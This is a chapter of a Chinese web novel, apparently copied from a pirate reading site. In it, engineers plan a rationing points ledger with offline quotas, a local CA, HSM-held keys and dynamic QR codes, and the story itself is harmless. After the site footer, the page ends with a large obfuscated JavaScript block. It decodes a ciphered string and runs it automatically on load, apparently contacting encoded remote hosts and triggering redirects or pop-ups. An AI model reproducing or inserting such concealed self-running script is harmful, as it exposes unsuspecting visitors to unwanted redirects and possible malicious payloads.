第16章 局域网络
第16章局域网络(第1/2页)
四月三日下午,某电科研究所的会议室里,白板已经被写满了两遍。
“别写‘全市统一平台’这五个字了。”坐在白板前的男人把记号笔帽咬在嘴里,含糊不清地说,“我们没那么多时间,我们今天只做一件事,让账本能运行起来就行。”
他叫赵闻川,二零所网络与系统工程方向的负责人。头发乱得像鸡窝,眼镜片上还有一块没擦干净的手印。
会议桌两边坐着十几个人。
企鹅厂习安研发中心来了两名支付后端工程师,阿狸云驻秦团队来了数据库的专家,华威来了运营商网络和终端适配研究员,字节那边也来了推荐系统研发人员,交大、工大、习电各派了老师和研究生,另外参会的还有几家本地软件公司的技术骨干。
赵闻川敲了敲桌面,
“上面给的需求很清楚。积分绑定身份,并且不能转让,不能提现。我们这次只讨论技术问题。”
企鹅厂来的徐安琪举手,她三十出头,短发,黑框眼镜,说话语速很快,
“先把账户模型敲定。积分账户通过身份证号、手机号等标签标注。”
来自字节的梁嘉树敲击键盘:“商品分类也要有。SKU需要映射成几类:食物、基础药品、日用品、特殊保障品。积分则规则按品类走,别按具体商品写死。”
阿狸云的陈柏舟靠在椅背上,手里转着笔,“账本设置一定要严谨。积分一旦扣错,整个系统都会崩溃。建议采用追加式流水,所有发放、扣减和撤销都写进ledger表,账户余额从流水聚合或者异步物化。每笔交易有全局的tranSaCtiOnid。即使POS端重复提交,后台也只能扣一次。”
交大软件学院的胡教授点头,“数据不能只存余额。余额被改了根本查不出来,只要有流水在,一切都能溯源。”
一位来自习电的研究生小声说:“那数据库用什么?MySQL够吗?”
陈柏舟看了他一眼,
“第一版足够了,别一上来搞什么复杂的分布式。核心库用POStgreSQL或者MySQL主从,冷热分离,交易库单独跑。全市一千多万人,真正同时买东西的峰值是有限的,先按每秒五千到一万笔交易设计。”
梁嘉树马上接话,“入口层面要限流。别等老太太们早上七点一起扫货,把系统搞崩溃。社区端、商超端要分不同的队列。Kafka或者PUlSar有没有现成集群?”
角落里一个工程师举手,“我们园区有卡夫卡集群,但规模不大,之前给物流系统用的。”
赵闻川在白板做下记录。
来自华威的高昊把一张网络图推到中间,
“网络这块,运营商本地核心网络还能跑,我们建议开一个专用的APN,名字就叫Xalife或者minSheng都行,商超POS、终端、社区工作机走专用的APN进政务内网。固定点位能接光纤的接光纤,不能接的用4G/5GCPE。DNS全部本地化,积分系统域名解析到市内数据中心。”
来自工大的周蔓教授问:“数据中心放哪?”
赵闻川指了指脚下,“这里放一套主要节点。交大机房、习电机房各放一套只读节点。电力优先级要提前报备上去,核心机柜外接UPS和柴油发电机。”
高昊补充:“基站供电也要考虑到,不能假设全市无线信号一直满格。主城区内的基站一定要优先保障电力供给,边缘区域的终端要支持离线交易。”
“离线交易最麻烦。”徐安琪立刻说,“商品限购,终端离线后,居民到三个店各买一次米,怎么办?”
会议室里安静了两秒。
梁嘉树抬头:“可以给终端发离线额度包。每个终端每天一个签名额度,比如只能离线扣分一百户、每户限制交易数量。风险控制在终端级别。联网后同步,超过额度直接锁死。”
陈柏舟皱眉:“这样会有时间差。某个家庭在网络端交易过,另一个离线节点数据还没有传过去。”
徐安琪说:“高价值商品必须在线交易。比如药品,肉蛋奶等。主粮和一些基础日用品可以小额度离线交易,系统不能为了绝对正确,把断网的社区全饿着。”
胡教授慢慢说:“可以设置软限制,离线只允许消耗基础包,联网后对冲。冲突时后台标记异常,不让下一次继续离线购买。这样居民不会因为系统误差被当场拦住。”
“那终端怎么搞?”
高昊说:“现有超市收银机能改的就改。扫码枪、POS机都还在。我们还可以做一个轻量化的客户端,WindOWS和安卓两版。能联网就直接调接口,不能联网就读取离线包。身份证读卡器库存要查,NFC卡也能发一批。”
一名研究员询问:“用身份证刷不就行了吗?”
徐安琪摇头。
“身份证可以做身份核验,但不能把所有流程绑死在身份证上。建议发居民积分卡,卡里不存余额,只存Cardid和签名证书,后台映射用户身份。”
交大的胡教授补充:“卡里不存余额很重要。存余额就会有破解、盗刷的风险。卡只做个钥匙,账户在服务器里。”
(本章未完,请点击下一页继续阅读)第16章局域网络(第2/2页)
本地软件公司的工程师有点为难,“那发卡量很大,一千多万人,来不及。”
赵闻川说:“不用那么着急,最初需要试点,后面手机二维码也可以覆盖一部分。”
梁嘉树说:“二维码要防止截屏倒卖。”
赵闻川立刻说:“动态码,三十秒刷新一次,本地局域网内生成。没有网的地方,就用卡。二维码里不放身份明文,只放tOken,tOken用SM2签名,通信走TLS,敏感字段库内加密。”
陈柏舟低声笑了一下:“终于有人说加密问题了。”
赵闻川指向他:“你负责密钥体系。”
陈柏舟脸上的笑容消失了,“我就知道。”
会议室里响起一阵低低的笑声。
陈柏舟把笔放下,认真起来。
“密钥不能散落在各个业务服务器上。我们要建立一套本地CA,签发终端证书和服务证书。交易请求必须双向TLS。终端丢失后,证书吊销。核心签名密钥放HSM或者密码机里,你们所这边应该有设备。”
赵闻川点头:“有,之前项目用过。”
“那就能做。”陈柏舟说,“积分发放、撤销都要签名。流水表加haSh链,每条记录带上一条haSh,以防后期篡改。每天零点做快照,快照打印摘要,存到离线介质。”
周蔓教授忍不住说:“打印摘要?”
陈柏舟看她:“现在这个世界,纸质媒介还是很可靠的。”
梁嘉树拍了下桌子:“这个有古典美。”
徐安琪翻了个白眼,“古典美归古典美,接口也要美一点。”
“库存系统呢?”
阿狸云陈柏舟说:“商户库存先做一个简易版。入库、出库。积分交易扣库存,现金交易也要登记。后续接通WMS,第一版给超市一个EXCel导入模板,别指望他们所有库存系统都能打通。”
梁嘉树说:“数据分析可以我们来做。实时看各区的销量、库存消耗、异常交易、排队压力,就做监控大屏和预警。比如某个社区一小时内销量异常,某个终端连续失败,某个家庭多点购买冲突,可以直接预警标记”
徐安琪看了他一眼:“你们的模型现在可推荐不了擦边舞了。”
会议室里又传来大家的笑声,
赵闻川把白板翻到空白处,“分工。”
所有人都低头准备记。
“电科所负责总体架构、机房、网络安全、本地CA、核心密钥。华威负责专用APN、终端接入、基站保障清单、CPE和POS适配。企鹅厂负责账户、交易、二维码、扣费流程和前端收银界面。阿狸负责数据库、消息队列、备份、账本和对账。字节负责风控排查、异常检测和流量压测。”
他看向高校那边。
“交大负责规则引擎和身份合并算法,别让业务代码里写一万条if。工大负责终端离线包、安全策略和设备适配测试。习电负责通信链路测试、弱网环境算法性能优化,还有终端证书批量烧录工具。”
习电的研究生愣了一下:“证书批量烧录工具也归我们?”
高昊拍了拍他肩膀,“年轻人,欢迎来到工程现场。”
白板上很快写满了任务。
赵闻川在最上面写下时间表,“今晚二十四点,核心账户和交易接口要跑通。明天上午,我们要开展试点运行。明天下午,接入十个点位进行压力测试。后天,全市重点区域上线运行第一版。”
会议室里没人说话。
这个时间节点放在平时,足够让项目组被程序员们围起来打。
现在大家只能报以沉默。
陈柏舟揉了揉有些发酸的眼睛,“需求冻结吗?”
赵闻川说:“技术需求今天冻结。政策规则可以通过配置表改,别让他们每改一次额度,我们就得发一次版。”
徐安琪忽然问:“居民端App做吗?”
赵闻川看向她:“你觉得呢?”
徐安琪沉默一秒,“先做H5,挂在本地门户。能查余额、查消费记录。App安装太慢,应用商店也废了一个一个安装要花太多时间。”
会议室外有人推门进来,送来一箱矿泉水和几袋面包。
赵闻川拿起一袋,看了看生产日期,“现代食品库存,吃一袋就少一袋。”
梁嘉树已经撕开包装,“那我缅怀着历史责任感吃。”
高昊咬了一口面包,含糊道:“说真的,以后的面包生产日期怎么写,1860年吗?”
徐安琪看着他:“不是1970年1月1日就行”
会议室里发出爆笑声。
大家陆续起身,任务已经被拆解,所有人开始忙碌起来。
窗外天色慢慢暗下来。
赵闻川站在白板前,盯着上面的板书不知道在想什么,
徐安琪抱着电脑从他旁边经过,“赵工,别发呆了。接口文档还等着你拍板呢。”
赵闻川回过神,
“走。”
他坚定地说。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();